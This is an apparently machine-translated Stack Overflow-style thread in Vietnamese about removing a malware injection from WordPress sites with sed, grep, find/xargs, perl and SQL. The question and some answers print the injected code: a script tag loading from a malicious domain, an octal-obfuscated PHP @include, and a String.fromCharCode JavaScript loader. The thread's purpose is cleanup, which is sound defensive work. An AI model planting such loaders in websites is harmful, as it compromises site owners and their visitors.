Cách thay thế toàn bộ chuỗi bằng sed hoặc có thể grep


10

Vì vậy, toàn bộ máy chủ của tôi đã bị hack hoặc gặp sự cố phần mềm độc hại. trang web của tôi dựa trên WordPress và phần lớn các trang web được lưu trữ trên máy chủ của tôi là dựa trên WordPress. Tin tặc đã thêm dòng mã này vào mỗi tệp và trong cơ sở dữ liệu

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Tôi đã tìm kiếm nó thông qua grep bằng cách sử dụng

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Tôi đang cố gắng thay thế nó trong toàn bộ cấu trúc tệp sedvà tôi đã viết lệnh sau.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Tôi đang cố gắng thay thế chuỗi trên một tệp index.phpđầu tiên, vì vậy tôi biết nó hoạt động.

và tôi biết mã của tôi là sai. Xin hãy giúp tôi với.

Tôi đã thử với mã của @ Eran và nó đã xóa toàn bộ dòng, điều này tốt và đúng như mong đợi. Tuy nhiên, tổng số biệt ngữ là đây

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Và trong khi tôi muốn xóa tất cả nội dung, tôi muốn giữ thẻ mở php <?php.

Mặc dù giải pháp của @ slybloty rất dễ dàng và nó đã hoạt động.

vì vậy để loại bỏ mã hoàn toàn khỏi tất cả các tập tin bị ảnh hưởng. Tôi đang chạy 3 lệnh sau, Cảm ơn tất cả các bạn vì điều này.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Để xóa dòng script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Để xóa @includedòng
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Để xóa dòng bình luận

Ngoài ra, tôi đã chạy lại cả 3 lệnh '*.html'vì tập lệnh của hacker đã tạo index.html không mong muốn trong tất cả các thư mục. Tôi không chắc chắn nếu xóa hàng loạt index.html này là cách tiếp cận đúng.

Bây giờ, tôi vẫn cần phải tìm ra các tập tin rác và dấu vết của nó.

Kịch bản tin tặc cũng đã thêm mã JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Cố gắng để xem nếu tôi có thể sedlà tốt.


Làm thế nào để bạn biết mã của bạn là sai?
Beta

Bởi vì, tôi đã chạy nó và nó liên tục yêu cầu thêm đầu vào ở dòng tiếp theo như `>`
Dilip Gupta

2
Bạn có thể xóa dòng không? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
Ngoài ra, bạn có thể thêm grep của bạn ở đó để thức ăn trong tất cả các file với dòng này trong đó như thế này: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" Các -ltùy chọn chỉ cung cấp tên tập tin và không phải là văn bản phù hợp.
Jason

1
Một điều nữa ... Nếu bạn thực hiện phương pháp này, tôi sẽ tận dụng tham số tùy chọn "sao lưu" cho sed -i. Ví dụ: sed -i.baksẽ tạo một *.baktệp cho tất cả các tệp được chỉnh sửa. Khi được sử dụng với while...grepvòng lặp, bạn sẽ chỉ sao lưu các tệp có chứa chuỗi đó. Xin lỗi cho tất cả các ý kiến ​​bổ sung, nhưng theo tôi, phần mềm độc hại là một kịch bản "tất cả trên tay".
Jason

Câu trả lời:


2

Sử dụng dấu ngoặc kép ( ") cho chuỗi và không thoát khỏi dấu ngoặc đơn ( ') cũng như các thẻ ( <>). Chỉ thoát khỏi dấu gạch chéo ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

Dù bạn quyết định sử dụng phương pháp nào với sed, bạn có thể chạy đồng thời nhiều quy trình trên nhiều tệp với các tùy chọn lọc hoàn hảo với findxargs. Ví dụ:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Nó sẽ:

  • find - tìm thấy
  • -type f - chỉ tập tin
  • -name '*.txt' - kết thúc bằng php
  • -print0 - pritn chúng cách nhau bởi byte không
  • | xargs -0 - cho mỗi tệp được phân tách bằng byte 0
  • -P7 - chạy 7 tiến trình đồng thời
  • -n1 - cho mỗi một tệp
  • sed - cho mỗi tệp chạy sed
  • -i - chỉnh sửa tập tin tại chỗ
  • '...' - kịch bản sed bạn muốn chạy từ các câu trả lời khác.

Bạn có thể muốn thêm -ttùy chọn xargsđể xem tiến trình. Xem người đàn ông tìm (người đàn ông tranh luận] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


2

Dấu ngoặc đơn được thực hiện theo nghĩa đen mà không có ký tự thoát. Trong var='hello\'', bạn có một trích dẫn chưa đóng.

Để khắc phục sự cố này, 1) Sử dụng dấu ngoặc kép để bao quanh sedlệnh HOẶC 2) Kết thúc chuỗi trích dẫn đơn, thêm \'và mở lại chuỗi trích dẫn.

Phương pháp thứ hai là khó hiểu hơn, tuy nhiên.

Ngoài ra, sedcó thể sử dụng bất kỳ dấu phân cách nào để tách các lệnh. Vì bạn có dấu gạch chéo trong các lệnh, nên sử dụng dấu phẩy sẽ dễ dàng hơn. Chẳng hạn, sử dụng phương thức đầu tiên:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Sử dụng phương pháp thứ hai:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Ví dụ này mang tính giáo dục nhiều hơn là thực tế. Đây là cách làm '\''việc:

Đầu tiên ': Kết thúc chuỗi ký tự hiện tại

\': Nhập trích dẫn đơn dưới dạng ký tự

Thứ hai ': Nhập lại chuỗi ký tự được trích dẫn

Miễn là không có khoảng trống ở đó, bạn sẽ tiếp tục sedchỉ huy của mình . Ý tưởng này là duy nhất để bash.

Tôi sẽ bỏ trốn <>ở đó vì tôi không hoàn toàn chắc chắn bạn đang sử dụng cái này để làm gì. sedsử dụng \<\>có nghĩa là từ phù hợp. Tôi không chắc đó có phải là cố ý hay không.

Nếu điều này không phù hợp với bất cứ điều gì, thì có lẽ bạn muốn tránh thoát khỏi <>.

Chỉnh sửa: Vui lòng xem giải pháp của @ EranBen-Natan trong các nhận xét để có giải pháp thiết thực hơn cho vấn đề thực tế. Câu trả lời của tôi là nhiều tài nguyên hơn về lý do tại sao OP được nhắc thêm đầu vào với lệnh ban đầu của anh ấy.

Giải pháp cho chỉnh sửa 2

Để làm việc này, tôi đưa ra giả định rằng bạn sedcó tùy chọn không chuẩn -z. Phiên bản GNU sednên có cái này. Tôi cũng đưa ra giả định rằng mã này luôn xuất hiện ở định dạng dài 6 dòng

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Cách thức hoạt động: Chúng tôi đang sử dụng phần đầu của dòng fromCharCode để khớp với mọi thứ. -zchia nhỏ tập tin trên null thay vì dòng mới. Điều này cho phép chúng tôi tìm kiếm nguồn cấp dữ liệu trực tiếp.

[^\n]*\n- Điều này phù hợp với tất cả mọi thứ cho đến khi một nguồn cấp dữ liệu, và sau đó khớp với nguồn cấp dữ liệu dòng, tránh kết hợp regex tham lam. Vì chúng tôi không phân tách trên các nguồn cấp dữ liệu ( -z), regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nkhớp với kết quả khớp lớn nhất có thể. Ví dụ: nếu \n}\nxuất hiện ở bất kỳ đâu trong tệp, bạn sẽ xóa tất cả mã giữa đó và mã độc. Do đó, lặp lại trình tự này 6 lần khớp chúng ta đến cuối dòng đầu tiên cũng như 5 dòng tiếp theo.

grep -lr- Chỉ là một đệ quy greptrong đó chúng tôi chỉ liệt kê các tệp có mẫu phù hợp. Bằng cách này, sedkhông phải chỉnh sửa mọi tập tin. Không có điều này, -i.bak(không đơn giản -i) sẽ làm cho một mớ hỗn độn.


Cảm ơn @Jason, tôi sẽ thử phương pháp của bạn cho việc này. Ngay bây giờ, tôi không có tùy chọn để sao lưu. Vì vậy, tôi bị mắc kẹt với việc làm sạch nó.
Dilip Gupta

@DilipGupta Tôi sẽ đề nghị sao lưu nơi bạn đang ở. Bạn có thể sử dụng một cái gì đó như rsyncđể sao lưu và khôi phục.
Jason

Bạn có sử dụng adminer.php không? dường như có thể lây nhiễm
Jiro Matchonson

1

Bạn đã cài đặt plugin wp-mail-smtp chưa? Chúng tôi có cùng một phần mềm độc hại và chúng tôi đã có một số điều kỳ lạ wp-content/plugins/wp-mail-smtp/src/Debug.php.

Ngoài ra, liên kết javascript có trong mọi post_contentlĩnh vực trong wp_postscơ sở dữ liệu WordPress.


Vâng, tôi đã cài đặt plugin đó và nó ở đó như bạn đã nói. Tôi đang cố gắng dọn dẹp trước và sau đó thắt chặt an ninh. Cũng lưu ý, hacker đã cài đặt plugin có tên super-socialat, kiểm tra xem nó có tốt không.
Dilip Gupta

Chính xác những gì bạn đã tìm thấy trong Debug.php đó, tôi không tìm thấy gì lạ trong đó nhưng có lẽ nó được lưu trữ trong một tệp khác, nếu bạn cung cấp một phần mã tôi có thể tìm kiếm các tệp một cách vui lòng? Không tìm thấy plugin mới được cài đặt.
Jiro Matchonson

1
Bạn đã sử dụng trình soạn thảo nào? Nếu tôi mở nó trong vim, tôi có thể thấy thứ đó, nhưng không phải trong nano hoặc một số trình soạn thảo như Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

Xin chào, tôi đã tìm kiếm thông qua wincp, nhưng bây giờ cũng đã thử vi, vẫn không tìm thấy gì. Tnx nhiều ví dụ Ill tri để tìm kiếm nó trong các tập tin.
Jiro Matchonson

Nhìn từ bên ngoài, có vẻ như đó là một câu lệnh sql được viết bằng cách sử dụng các vị trí chữ cái trong biến $ GLOBALS hoặc một cái gì đó tương tự, vì vậy không thể tìm thấy nó bằng cách tìm kiếm "trasnaltemyrecords" Tôi đã cố gắng tìm kiếm grep -r "NULL ); @ $ "/ var / www / html / { ,. } hoặc những thứ khác nhưng không tìm thấy gì. Dù sao tôi cũng có một adminer.php cũ trên trang wordpress để có thể là nguồn rò rỉ đó, có lẽ ..
Jiro Matchonson

0

Tôi đã nhận được điều tương tự ngày hôm nay, tất cả các bài đăng trên trang đã thêm đoạn script virus khó chịu này

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Tôi đã vô hiệu hóa nó từ cơ sở dữ liệu bởi

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Tôi không có tệp bị nhiễm ít nhất

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

đã không tìm thấy một điều, nhưng tôi không biết làm thế nào điều này vào cơ sở dữ liệu mà từ đó không bình tĩnh chút nào.

Nhiễm trùng này gây ra chuyển hướng trên các trang, chrome chủ yếu phát hiện và chặn điều này. Không nhận thấy bất cứ điều gì lạ trong - /wp-mail-smtp/src/Debug.php


Tôi cho rằng điều này có liên quan đến một số sự cố của plugin và hacker đã truy cập cửa sau vào trang web.
Dilip Gupta

Nhưng plugin nào, 2 hous đã qua và mọi thứ lại quay trở lại
Jiro Matchonson

0

Tôi đã có một điều tương tự ngày hôm nay, tất cả các bài viết trang đã thêm kịch bản. Tôi đã xử lý thành công với họ bằng cách sử dụng https://en.wordpress.org/plugins/search-and-replace/ plugin.

Hơn nữa, tôi cũng đã tìm thấy một bản ghi trong chuỗi w__ cột cột post_content:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

và xóa nó bằng tay.


0

Đối với tôi đã làm việc này:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Bạn phải tìm kiếm: * .js, * .json, * .map

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.